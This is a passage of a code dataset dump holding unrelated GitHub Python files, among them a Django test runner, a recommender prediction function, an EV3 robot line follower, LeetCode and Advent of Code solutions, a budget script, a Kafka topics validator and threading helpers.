'bio', 'goal', 'activities',\n 'image_url', 'height', 'weight']","repo_name":"josefsandoval/FLEX","sub_path":"flex/app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11714655193","text":"#!/usr/bin/env python\n# coding: utf-8\nimport os\nimport sys\nfrom os.path import dirname, abspath\nimport django\nfrom django.conf import settings\n\nSETTINGS = {\n 'DATABASES': {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': ':memory:'\n }\n },\n 'INSTALLED_APPS': [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'elasticindex',\n 'tests',\n ],\n 'MIDDLEWARE_CLASSES': (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n ),\n 'SITE_ID': 1,\n 'DEBUG': False,\n 'ROOT_URLCONF': '',\n 'ELASTICINDEX_HOSTS': [{'host': '127.0.0.1', 'port': 9200}]\n}\n\n\ndef runtests(**test_args):\n if os.path.exists('local_settings.py'):\n import local_settings\n for k, v in vars(local_settings).items():\n if k.isupper():\n SETTINGS[k] = v\n\n settings.configure(**SETTINGS)\n\n from django.test.utils import get_runner\n\n parent = dirname(abspath(__file__))\n sys.path.insert(0, parent)\n\n django.setup()\n\n TestRunner = get_runner(settings)\n test_runner = TestRunner(verbosity=1, interactive=True)\n failures = test_runner.run_tests(['tests'], test_args)\n sys.exit(failures)\n\n\nif __name__ == '__main__':\n runtests(*sys.argv[1:])\n","repo_name":"ytyng/django-elasticindex","sub_path":"runtests.py","file_name":"runtests.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24887843497","text":"# Use transformer.labs.dans.knaw.nl\nimport json\nimport logging\n\nimport requests\n\n\nclass MetadataMapper:\n def __init__(self, transformer_url, api_token, xslt_name):\n self.transformer_url = transformer_url\n self.api_token = api_token\n self.xslt_name = xslt_name\n\n def get_headers(self):\n headers = {\n 'Content-Type': 'application/json',\n 'Authorization': f'Bearer {self.api_token}'\n }\n return headers\n\n def transform(self, json_input):\n transformer_response = requests.post(self.transformer_url, headers=self.headers,\n data=json.dumps(json_input))\n if transformer_response.status_code != 200:\n print(f\"ERROR status code: {transformer_response.status_code}\")\n logging.error(f\"Error response from transformer with error code {transformer_response.status_code}\")\n else:\n print(transformer_response.content)\n resp_data = transformer_response.json()['result']\n return resp_data\n","repo_name":"Dans-labs/archivalbot","sub_path":"src/modules/metadata_mapper.py","file_name":"metadata_mapper.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41001242167","text":"# ----------------------------\n# Functions used to make a prediciton \n# Given a item and a user \n# ----------------------------\n\nimport pandas as pd\nimport numpy as np\nfrom time import process_time as time\n\n# complexity: 2n + m + nm \n# n: num of items (19807)\n# m: num of ratings for item (0-90000)\ndef get_prediction(user, item_1, items, all_item_data, sim_matrix):\n start_time = time()\n\n # check item exists \n if item_1 in items: # n\n # extract item data and index\n item_1_data = all_item_data[item_1] # 1\n item_1_index = items.index(item_1) # n\n \n # check if user has already rated item\n if user in item_1_data: # m\n prediction = item_1_data[user] # 1\n else:\n # accumulators for the equation\n a, b = 0, 0\n\n for item_2_index in range(len(items)): # n \n # extract item 2 data\n item_2 = items[item_2_index] # 1\n item_2_data = all_item_data[item_2] # 1\n\n # find items similarity\n sim = sim_matrix[item_2_index][item_1_index] # 1\n\n # rectrict neighbourhood\n if item_2 != item_1 and sim > 0: # 1\n\n # check user has rated item_2\n if user in item_2_data: # m\n item_2_user_rating = item_2_data[user] # 1\n\n a += sim * item_2_user_rating \n b += sim\n \n # finish the operations outside of the equation sums\n prediction = 0 if b == 0 else (a/b)\n else:\n prediction = 2.5\n \n # print(\"Prediction time:\", time() - start_time)\n return prediction\n \n \n\n\n\n\n\n","repo_name":"LukeGibson/RecommenderSystem","sub_path":"src/ItemBased/Prediction.py","file_name":"Prediction.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3519223179","text":"\r\nclass Renter:\r\n def __init__(self,name):\r\n self.name = name\r\n self.day = 0\r\n \r\n def pay(self,dorm):\r\n occupants = dorm.occupants\r\n renter_no = len(occupants)\r\n i = 0\r\n s = 0\r\n while i < renter_no:\r\n s = s+occupants[i].day\r\n i = i+1\r\n p = dorm.rental_fee/s\r\n return(self.day*p)\r\n\r\nclass Dorm:\r\n def __init__(self):\r\n self.occupants = []\r\n self.rental_fee = 0\r\n\r\nroom = Dorm()\r\n\r\nroom.rental_fee = (int(input(\"Enter the total amount of rent : \")))\r\nrenter_no = int(input(\"Number of occupants : \"))\r\nd = input(\"What is the bill period? E.g. 22 Feb : \")\r\n\r\ni = 0\r\nwhile i < renter_no:\r\n renter = Renter(input(\"Renter no. \"+str(i+1)+\"'s Name : \"))\r\n renter.day = (int(input(str(renter.name)+\"'s day(s) of stay : \")))\r\n room.occupants.append(renter)\r\n i = i+1\r\n\r\nprint(d)\r\n\r\ni = 0\r\nwhile i < renter_no:\r\n renter = room.occupants[i]\r\n print(str(renter.name)+\"'s rent : \"+str(renter.pay(room)))\r\n i=i+1","repo_name":"Kuromorimine/My-Learning-3","sub_path":"dorm4.py","file_name":"dorm4.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71726669903","text":"import cv2\nimport os\nimport matplotlib.pyplot as plt\nimport json\nfrom datasets.laeo import convert_xywh2x1y1x2y2\n\ndef vis(img, anno):\n img = img.copy()\n item = anno['gt_bboxes']\n for ins in item:\n x1, y1, x2, y2 = convert_xywh2x1y1x2y2(ins['box'],(anno['height'],anno['width']),0)\n cv2.rectangle(img, (x1, y1), (x2, y2), (255, 64, 0), 3)\n\n cv2.imshow('show', img)\n if cv2.waitKey(500) == 27:\n cv2.imwrite('./log/{}'.format(anno['file_name'].split('/')[-1]),img)\n\n\nif __name__ == '__main__':\n annoFile = './data/ava_testScence.json'\n win = cv2.namedWindow('show')\n clean_path ='F:\\\\AVA_dataset\\\\frames'\n annotations = [json.loads(l.strip()) for l in open(annoFile, 'r').readlines()]\n for anno in annotations:\n img = cv2.imread(os.path.join(clean_path, anno['file_name']))\n vis(img, anno)\n","repo_name":"csguoh/MGTR","sub_path":"datasets/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"5972113196","text":"'''\nPorównanie pętli i list comprehension\n\nStwórz liste liczby składajaca sie z 1000 calkowitych liczb losowych z zakresu 1 do 100\n'''\n\nimport random as rd\n#from random import radiant as rdi\n\nliczby=[]\nfor i in range(1000):\n liczby.append(rd.randint(1,100))\n\nprint(liczby)\n\n\n#list comprehension\n\nliczby_losowe =[rd.randint(1,100)for i in range(1000)]\nprint(liczby_losowe)","repo_name":"BorysionekTOBI/3TPM_taw","sub_path":"lekcje/listy4.py","file_name":"listy4.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12428756035","text":"import time\nimport logging\n\nfrom threading import Thread\nfrom typing import List, Set\n\nTIMINGS = {}\nDEPLOY_TIMEOUT = 30 * 60 # 30 mins\n\n\nlog = logging.getLogger(__name__)\n\n\nclass ResultThread(Thread):\n \"\"\"A thread that stores the result of the run command.\"\"\"\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n self._result = None\n self._event = None\n\n @property\n def result(self) -> bool:\n \"\"\"Run result\n\n Returns: True if completed successfully.\n\n \"\"\"\n return bool(self._result)\n\n @property\n def event(self):\n return self._event\n\n @event.setter\n def event(self, event):\n self._event = event\n\n def run(self) -> None:\n start = time.time()\n try:\n super().run()\n self._result = True\n except Exception as e:\n self._result = False\n log.error(\"Exception occured in {} with inner exception: {}\".format(self.name, str(e)))\n finally:\n end = time.time()\n if self.event:\n TIMINGS[self.event][self.name] = end - start\n\n\ndef spawn_threads(names, target, daemon=False, event=None, **kwargs) -> List[ResultThread]:\n \"\"\"Create and start threads running target. This will pass\n the thread name to the target as the first argument.\n\n Args:\n names: Thread names\n target: Function to run in thread\n **kwargs: Keyword args for target\n\n Returns:\n List of threads handling target.\n \"\"\"\n thread_list = list()\n for service_name in names:\n # setDaemon allows the main thread to exit even if\n # these threads are still running.\n t = ResultThread(target=target,\n daemon=daemon,\n name=service_name,\n args=(service_name,),\n kwargs=kwargs)\n t.event = event\n thread_list.append(t)\n t.start()\n return thread_list\n\n\ndef wait_on_threads(thread_list: List[Thread], timeout=DEPLOY_TIMEOUT) -> List[Thread]:\n \"\"\"Wait on the threads in `install_threads` until a specified time\n has elapsed.\n\n Args:\n thread_list: List of threads\n timeout: Timeout is seconds\n\n Returns:\n List of threads that are still running.\n\n \"\"\"\n start_time = current_time = time.time()\n for thread in thread_list:\n remaining = timeout - (current_time - start_time)\n if remaining < 1:\n break\n thread.join(timeout=remaining)\n current_time = time.time()\n active_threads = [x for x in thread_list if x.isAlive()]\n return active_threads\n\n\ndef wait_and_get_failures(thread_list: List[ResultThread], **kwargs) -> Set[Thread]:\n \"\"\"Wait on threads to complete or timeout and log errors.\n\n Args:\n thread_list: List of threads to wait on\n\n Returns: A list of service names that failed or timed out.\n\n \"\"\"\n timeout_failures = wait_on_threads(thread_list, **kwargs)\n timeout_names = [x.name for x in timeout_failures]\n if timeout_names:\n log.warning(\"The following {:d} instance(s) failed to \"\n \"complete in {:d} minutes: {}\"\n .format(len(timeout_names),\n DEPLOY_TIMEOUT // 60,\n ', '.join(timeout_names)))\n # the following did not timeout, but failed\n run_failures = [x for x in thread_list if not x.result]\n run_fail_names = [x.name for x in run_failures]\n if run_fail_names:\n log.warning(\"The following {:d} instance(s) \"\n \"encountered an error: {}\"\n .format(len(run_fail_names),\n ', '.join(run_fail_names)))\n return set(timeout_failures + run_failures)\n","repo_name":"mesosphere/dcos-commons","sub_path":"frameworks/helloworld/tests/scale/threading_utils.py","file_name":"threading_utils.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"47"} +{"seq_id":"29074796144","text":"#!/usr/bin/env python3\nfrom ev3dev2.motor import MoveSteering, OUTPUT_A, OUTPUT_B, Motor\nfrom ev3dev2.sensor import INPUT_1, INPUT_2, INPUT_3\nfrom ev3dev2.sensor.lego import ColorSensor, GyroSensor\n\nfrom lib.pid import PIDpulo\nimport os\nfrom time import sleep\n\nos.system(\"setfont Vietnamese-Fixed13\")\nMOVE_ST = MoveSteering(OUTPUT_A, OUTPUT_B)\nC_SENSOR1 = ColorSensor(INPUT_1)\nC_SENSOR2 = ColorSensor(INPUT_2)\nG_Sensor = GyroSensor(INPUT_3)\nL_Motor = Motor(OUTPUT_A)\nR_Motor = Motor(OUTPUT_B)\n\nPID = PIDpulo(C_SENSOR1, C_SENSOR2, MoveSteering)\n\nwhile True:\n C_SensorL = C_SENSOR1.reflected_light_intensity\n C_SensorR = C_SENSOR2.reflected_light_intensity\n G_sen = G_Sensor.angle\n #PID制御。右からPゲイン、Ⅰゲイン、Ⅾゲイン\n ster = PID.math_pid(C_SensorL, C_SensorR, 2.3, 0, 0)\n\n if abs(C_SensorL - C_SensorR) > 30:\n if (C_SensorL - C_SensorR) < 0:\n print(\"Right\")\n \n MOVE_ST.on_for_degrees(0, 50, 5)\n \n while C_SensorR > 7:\n C_SensorR = C_SENSOR2.reflected_light_intensity\n L_Motor.on(-30)\n R_Motor.on(30)\n\n elif (C_SensorL - C_SensorR) > 0:\n print(\"Left\")\n \n MOVE_ST.on_for_degrees(0, 50, 5)\n \n while C_SensorL > 7:\n C_SensorL = C_SENSOR1.reflected_light_intensity\n L_Motor.on(30)\n R_Motor.on(-30)\n \n L_Motor.off()\n R_Motor.off()\n MOVE_ST.off() \n # sleep(1)\n sterSpd = 11\n\n print(\"tyousei\") \n while abs(sterSpd) > 10:\n # MOVE_ST.off()\n # sleep(0.5)\n C_SensorL = C_SENSOR1.reflected_light_intensity\n C_SensorR = C_SENSOR2.reflected_light_intensity\n sterSpd = (C_SensorL-C_SensorR)*1\n MOVE_ST.on(100, sterSpd)\n print(sterSpd)\n MOVE_ST.off() \n print(\"fin\")\n else:\n if ster < -100:\n ster = -100\n elif ster > 100:\n ster = 100\n\n MOVE_ST.on(ster, 20)\n # print(\"GOOOOO\")\n\n\n","repo_name":"Meka-man/JairoZikken","sub_path":"thrd.py","file_name":"thrd.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40476571113","text":"import numpy as np\nimport PIL\nimport PIL.Image\nfrom contextfree import contextfree as cf\n\n\ndef get_box(dim_image=64):\n cf.init(canvas_size=(dim_image, dim_image), face_color=\"#FFFFFF\")\n with cf.translate(cf.rnd(0.5), cf.rnd(0.5)):\n cf.box(cf.rnd(0.5) + 0.4)\n a = cf.get_npimage()\n return a[:, :, 0]\n\n\ndef get_circle(dim_image=64):\n cf.init(canvas_size=(dim_image, dim_image), face_color=\"#FFFFFF\")\n with cf.translate(cf.rnd(0.5), cf.rnd(0.5)):\n cf.circle(0.25 + cf.rnd(0.2))\n a = cf.get_npimage()\n return a[:, :, 0]\n\n\ndef get_counting_sample(dim_image=64):\n cf.init(canvas_size=(dim_image, dim_image), face_color=\"#FFFFFF\")\n cnt_circles = 0\n cnt_boxes = 0\n cnt_items = 3\n with cf.scale(1 / (cnt_items + 1)):\n with cf.translate(-cnt_items / 2, -cnt_items / 2):\n for y in range(cnt_items):\n with cf.translate(0, y * 1.1):\n for x in range(cnt_items):\n with cf.translate(x * 1.1, 0):\n if cf.coinflip(2):\n if cf.coinflip(2):\n cf.circle(0.4 + cf.rnd(0.2))\n cnt_circles += 1\n else:\n cf.box(0.85 + cf.rnd(0.2))\n cnt_boxes += 1\n a = cf.get_npimage()\n return a[:, :, 0], cnt_circles, cnt_boxes\n\n\ndef gen_item(label, test=False):\n if label == 0:\n a = get_circle()\n else:\n a = get_box()\n return a\n\n\ndef merge_samples(X, Y, cnt_sampes=10):\n if len(X.shape) == 3:\n bar = np.ones([X.shape[1], 2])\n im_ar = np.hstack([np.hstack([X[i], bar]) for i in range(cnt_sampes)])\n else:\n bar = np.ones([1, X.shape[2], 2])\n im_ar = np.dstack([np.dstack([X[i], bar]) for i in range(cnt_sampes)])\n im_ar = np.rollaxis(im_ar, 0, 3)\n if im_ar.shape[-1] == 1:\n im_ar = im_ar[:, :, 0]\n\n im_ar *= 255\n im = PIL.Image.fromarray(im_ar)\n if im.mode != 'RGB':\n im = im.convert('RGB')\n return im\n\n\ndef get_ds_naive(dim_image=64, cnt_samples=100):\n data = []\n labels = []\n\n for i in range(cnt_samples):\n cf.init(canvas_size=(dim_image, dim_image), face_color=\"#FFFFFF\")\n if i % 2:\n cf.circle(0.3)\n labels.append(0)\n else:\n cf.box(0.5)\n labels.append(1)\n a = cf.get_npimage()\n data.append(a[:, :, 0])\n X = np.array(data)\n Y = np.array(labels, dtype=np.int32)\n return X, Y\n\n\ndef get_ds_simple(dim_image=64, cnt_samples=100):\n data = []\n labels = []\n for i in range(cnt_samples):\n if i % 2:\n data.append(get_box(dim_image=dim_image))\n labels.append(0)\n else:\n data.append(get_circle(dim_image=dim_image))\n labels.append(1)\n\n X = np.array(data)\n Y = np.array(labels, dtype=np.int32)\n return X, Y\n\n\ndef get_ds_counting(cnt_samples=100):\n data = []\n cnts = []\n for i in range(cnt_samples):\n a, c, b = get_counting_sample()\n data.append(a)\n cnts.append([c, b])\n X = np.array(data)\n Y = np.array(cnts, dtype=np.int32)\n return X, Y\n\n\ndef main():\n print(\"generating sample output\")\n cnt_samples = 10\n X_train = np.array([gen_item(i % 2) for i in range(cnt_samples)])\n Y_train = np.array([i % 2 for i in range(cnt_samples)], dtype=np.int32)\n print(X_train.shape, Y_train.shape)\n im = merge_samples(X_train, Y_train)\n im.save(\"/tmp/test.png\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"undertherain/dagen","sub_path":"dagen/image/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"72788343503","text":"\"\"\"\n783. Minimum Distance Between BST Nodes\nEasy\n\nGiven the root of a Binary Search Tree (BST), return the minimum difference between the values of any two different nodes in the tree.\n\nExample 1:\nInput: root = [4,2,6,1,3]\nOutput: 1\n\nExample 2:\nInput: root = [1,0,48,null,null,12,49]\nOutput: 1\n\"\"\"\n\n\"\"\"\nSince it is a binary search tree, inorder depth-first traversal would visit the nodes whose values are in ascending order. \nAs a result, the minimum distance can only occur between the two nodes visited in sequence. Here, two implementations \nare presented:\n\niterative implementation using a stack\nrecursive implementation(leveraging on call stack).\n\nClassical inorder traverse. Time complexity O(N). Space complexity O(h)\n\nThis question is the same as problem 530.Minimum Absolute Difference in BST. Except that in 530th, we are given a binary search tree with non-negative values.\nHowever, it seems that it doesn't have any negative case and my solution in cpp get accepted.\n\"\"\"\n\n\nclass Solution(object):\n pre, res = -inf, inf\n\n def minDiffInBST(self, root):\n\n if root.left:\n self.minDiffInBST(root.left)\n\n self.res = min(self.res, root.val - self.pre)\n self.pre = root.val\n\n if root.right:\n self.minDiffInBST(root.right)\n\n return self.res\n\n\n\"\"\"\nAt each node, keep track of the highest and lowest possible values. \nWhen we've passed the leaf node, check the difference. \nBubble the minimum difference up the tree.\n\"\"\"\n\n\nclass Solution(object):\n def minDiffInBST(self, root):\n\n def traverse(node, low, high):\n if not node:\n return high - low\n\n left = traverse(node.left, low, node.val)\n right = traverse(node.right, node.val, high)\n\n return min(left, right)\n\n return traverse(root, -inf, inf)\n","repo_name":"cybercoderbot/coding","sub_path":"python/783. Minimum Distance Between BST Nodes.py","file_name":"783. Minimum Distance Between BST Nodes.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37628998900","text":"import calendar\nfrom datetime import timedelta, date, datetime\nfrom dateutil import parser\nfrom itertools import tee\nimport itertools\nfrom dateutil import rrule\nimport csv\nimport re\nimport os\n\nclass budget():\n \"\"\"Buttcheeks\"\"\"\n def __init__(self, bills,start_date, end_date, next_check_date):\n self.bills = bills\n self.start_date = start_date\n self.end_date = end_date\n self.next_check_date = next_check_date\n self.paydate = paydate = []\n self.checks = checks = []\n self.billsdue = billsdue =[]\n self.cash = cash = []\n self.bymonth = bymonth = []\n self.bbcheq = bbcheq = {}\n\n def pairwise(self):\n a, b = tee(self.checks)\n next(b, None)\n return zip(a, b)\n\n def dates(self):\n for n in range(int((start_date - end_date).days)):\n yield self.start_date + timedelta(n)\n\n def weekendcheck(self,dt):\n if re.match('Saturday', calendar.day_name[dt.weekday()]):\n pay = (dt - timedelta(days=1))\n self.paydate.append(pay.strftime(\"%Y-%m-%d\"))\n if re.match('Sunday', calendar.day_name[dt.weekday()]):\n pay = (dt - timedelta(days=2))\n self.paydate.append(pay.strftime(\"%Y-%m-%d\"))\n else:\n self.paydate.append(dt.strftime(\"%Y-%m-%d\"))\n return self.paydate\n\n def getpaydays(self):\n for dt in self.dates(start_date,end_date):\n if re.match('(15|30)',str(dt.day)):\n weekendcheck(dt,self.paydate)\n else:\n if dt == x:\n self.paydate.append(dt.strftime(\"%Y-%m-%d\"))\n else:\n for dt in rrule.rrule(rrule.WEEKLY, interval=2, dtstart=self.next_check_date, until=self.end_date):\n weekendcheck(dt,self.paydate)\n self.checks = list(set(self.paydate))\n self.checks.sort()\n self.checks = tuple(self.checks)\n return self.checks\n\n\n def getbills(self):\n for month in rrule.rrule(rrule.MONTHLY, interval=1, dtstart=self.start_date, until=self.end_date):\n for bill in self.bills:\n duedate = list([str(month.strftime(\"%Y-%m-\")) + bill[0]])\n duedate.append(bill[1])\n self.billsdue.append(duedate)\n self.billsdue.sort()\n return self.billsdue\n\n def billcheckdelta(self):\n for month in rrule.rrule(rrule.MONTHLY, interval=1, dtstart=self.start_date, until=self.end_date):\n for bill in self.billsdue:\n for pair in self.pairwise(self.checks):\n if bill[0] > pair[0] and bill[0] < pair[1]:\n x = []\n x.append(pair[0])\n x.append(bill[1])\n x = tuple(x)\n print(X)\n self.bymonth.append(x)\n\n return self.bymonth\n\n\n def cheques(self):\n for x in self.bymonth:\n for i in range(0, len(x)):\n cheq = x[1]\n bill = x[0]\n if not self.bbcheq.__contains__(bill):\n check_dates = []\n check_dates.append(cheq)\n self.bbcheq[bill] = check_dates\n else:\n self.bbcheq[bill].append(cheq)\n return self.bbcheq\n\n def billdetail(self):\n with open('/home/joe/Documents/Budget.txt', 'x') as budget:\n distinct = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'\n header2 = \"Checks and bills for Checks until 2019\"\n wr = csv.writer(budget, lineterminator='\\n')\n wr.writerow([header2])\n wr.writerow([distinct])\n for k, v in self.bbcheq.items():\n with open('/home/joe/Documents/Budget.txt', 'a') as budget:\n breakup = '--------------------------------------'\n distinct = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'\n header = \"Check Date\"\n x = set(v)\n totes = sum(map(float, list(x)))\n print(k)\n print(x)\n print(totes)\n header1 = \"Bills Detail\"\n header3 = \"Sum Total\"\n wr = csv.writer(budget, lineterminator='\\n')\n wr.writerow([header])\n wr.writerow([k])\n wr.writerow([breakup])\n wr.writerow([header1])\n wr.writerow([x])\n wr.writerow([header3])\n wr.writerow([breakup])\n wr.writerow([float(totes)])\n wr.writerow([distinct])\n\nbills =[['01','1.00'],['01','1.00'],['02','1.00'],['07','1.00'],['10','1.00'],['10','1.00'],['10','1.00'],['11','1.00'],['13','1.00'],['14','1.00'],['15','1.00'],['15','1.00'],['05','1.00'],['15','1.00'],['17','1.00'],['17','1.00'],['24','1.00'],['24','1.00'],['06','1.00'],['28','1.00'],['28','1.00']]\ndatemin = date(2018,9,1)\ndatemax = date(2018,12,31)\nx = '2018-09-14'\nx = parser.parse(x)\nparams = budget(bills, date(2018,9,1), date(2018,12,31),x)\nparams.getpaydays(),params.getbills(), params.billcheckdelta(), params.cheques(), params.billdetail()","repo_name":"smithjosephm/Projects","sub_path":"ClassfiedBudget.py","file_name":"ClassfiedBudget.py","file_ext":"py","file_size_in_byte":5173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37259220826","text":"\"\"\"\nInstructions --\n\n- Define a function with the signature ecdf(data). Within the function definition,\n- Compute the number of data points, n, using the len() function.\n- The xx-values are the sorted data. Use the np.sort() function to perform the sorting.\n- The yy data of the ECDF go from 1/n to 1 in equally spaced increments. You can construct this using np.arange() and then dividing by n.\n- The function returns the values x and y.\n\"\"\"\n\ndef ecdf(data):\n \"\"\"Compute ECDF for a one-dimensional array of measurements.\"\"\"\n\n # Number of data points: n\n n = len(data)\n\n # x-data for the ECDF: x\n x = np.sort(data)\n\n # y-data for the ECDF: y\n y = np.arange(1, n+1) / n\n\n return x, y\n","repo_name":"jabhij/PY_StatisticalThinking","sub_path":"Graphical_Exploratory/5-ComputingECDF.py","file_name":"5-ComputingECDF.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21674296798","text":"class ListNode:\n def __init__(self, val, next_node=None):\n self.val = val # The value stored in the node\n self.next = next_node # The reference to the next node; defaults to None\n\n\n\nclass LinkedList:\n def __init__(self):\n # Initialize with a dummy head node\n self.head = ListNode(-1) # Dummy head node\n self.tail = self.head # Initially, the tail is the same as the head\n\n \n def get(self, index: int) -> int:\n curr = self.head.next # Start from the first real node\n i = 0 # Index counter\n while curr:\n if i == index:\n return curr.val # Return the value if index is found\n i += 1\n curr = curr.next\n return -1 # Return -1 if index is out of bounds or list is empty\n\n\n def insertHead(self, val: int) -> None:\n new_node = ListNode(val)\n new_node.next = self.head.next # New node points to the first real node\n self.head.next = new_node # Head now points to the new node\n\n if not new_node.next: # If list was empty before insertion\n self.tail = new_node # Update tail to new node\n\n\n def insertTail(self, val: int) -> None:\n self.tail.next = ListNode(val) # Create new node and link it to the tail\n self.tail = self.tail.next # Update tail to the new node\n\n def remove(self, index: int) -> bool:\n i = 0\n curr = self.head # Start from the dummy head\n while i < index and curr:\n i += 1\n curr = curr.next # Traverse to the node before the one to be removed\n \n # Remove the node ahead of curr\n if curr and curr.next:\n if curr.next == self.tail:\n self.tail = curr # Update tail if last node is being removed\n curr.next = curr.next.next # Bypass the node to be removed\n return True\n return False # Return False if index is out of bounds\n\n\n\n def getValues(self) -> List[int]:\n curr = self.head.next # Start from the first real node\n res = [] # List to store values\n while curr:\n res.append(curr.val) # Append each node's value to the list\n curr = curr.next\n return res # Return the list of values\n\n ","repo_name":"stephancmorris/Leetcode","sub_path":"Basics/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20928488987","text":"# https://adventofcode.com/2020/day/22\n\nimport collections\n\nwith open(\"day22.in\", \"r\") as fin:\n decks = fin.readlines()\n\nprint(decks)\ngap = decks.index('\\n')\ndeck1 = collections.deque([int(x) for x in decks[1:gap]])\ndeck2 = collections.deque([int(x) for x in decks[gap+2:]])\n\nprint(deck1)\nprint(deck2)\n\nwhile len(deck1) > 0 and len(deck2) > 0:\n a = deck1.popleft()\n b = deck2.popleft()\n if a > b:\n deck1.extend([a, b])\n else:\n deck2.extend([b, a])\n print(deck1)\n print(deck2)\n\nif len(deck1) == 0:\n winner = deck2\nelse:\n winner = deck1\n\nscore = sum((mult+1)*val for mult, val in enumerate(reversed(winner)))\nprint(score)","repo_name":"Osgboy/AoC","sub_path":"advent-2020/day22/day22.py","file_name":"day22.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1624104873","text":"import logging\nimport os\nfrom typing import Tuple, Dict, List\n\nfrom core.specs.service.spec import ServiceType\nfrom core.specs.specs import ServicesSpecs\n\n\nclass TopicsValidator:\n\n __services_specs: ServicesSpecs\n\n def __init__(self, services_specs: ServicesSpecs):\n self.__services_specs = services_specs\n\n def validate(self) -> Tuple[bool, List[Dict[str, str]], List[Dict[str, str]]]:\n errors = []\n warns = []\n for service_name in self.__services_specs.all_services:\n service_spec = self.__services_specs.get_service_spec(service_name)\n\n if not service_spec.is_product:\n continue\n if service_spec.type == ServiceType.kafka.value:\n for topic_name in service_spec.raw[\"topics\"]:\n info = service_spec.kafka_topic_info(topic_name)\n if 'protocol' in info and info['protocol'].find(\"{{dash_repo_master}}\") != -1:\n path = os.path.dirname(__file__) + \"/../../../../..\"\n fpath_s = info['protocol'].find('/')\n fpath_f = info['protocol'].rfind('.proto')\n if fpath_s >= 0 and fpath_f >= 0:\n protocol_fname = path + info['protocol'][fpath_s:fpath_f+6]\n if not os.path.isfile(protocol_fname):\n errors.append({\n 'service': service_name,\n 'error': \"[{}] topic. Could not find .proto file {} in dash!\".format(topic_name, protocol_fname)\n })\n\n if ('tx' not in info or info['tx'] is None or len(info['tx']) == 0) and \\\n ('rx' not in info or info['rx'] is None or len(info['rx']) == 0):\n warns.append({\n 'service': \"kafka\",\n 'warn': \"[{}] topic. Wrong topic!\".format(topic_name)\n })\n else:\n if 'tx' not in info or info['tx'] is None or len(info['tx']) == 0:\n warns.append({\n 'service': service_name,\n 'warn': \"[{}] topic. Could not find any producers\".format(topic_name)\n })\n if 'rx' not in info or info['rx'] is None or len(info['rx']) == 0:\n warns.append({\n 'service': service_name,\n 'warn': \"[{}] topic. Could not find any consumers\".format(topic_name)\n })\n if \"sales-demo-\" not in topic_name and ('desc' not in info or info['desc'] is None or len(info['desc']) == 0):\n warns.append({\n 'service': service_name,\n 'warn': \"[{}] topic. no description\".format(topic_name)\n })\n if \"sales-demo-\" not in topic_name and ('protocol' not in info or info['protocol'] is None or len(info['protocol']) == 0):\n warns.append({\n 'service': service_name,\n 'warn': \"[{}] topic. no protocol\".format(topic_name)\n })\n return len(errors) == 0, errors, warns\n\n @staticmethod\n def print(errors: List[Dict[str, str]], warns: List[Dict[str, str]]):\n for e in errors:\n logging.error(\"[{}]: {}\".format(e[\"service\"], e[\"error\"]))\n\n for e in warns:\n logging.warning(\"[{}]: {}\".format(e[\"service\"], e[\"warn\"]))\n\n if len(errors) > 0:\n logging.error(\"Validation Results: Failed.\")\n else:\n logging.info(\"Validation Results: OK.\")\n","repo_name":"rshafeev/arch-specs","sub_path":"src/core/specs/validate/topics_validator.py","file_name":"topics_validator.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21758746656","text":"from __future__ import absolute_import\n\nimport io\nfrom . import objects, constants\n\n\nclass url_result(object):\n \"\"\"A file-like object representing the results of a 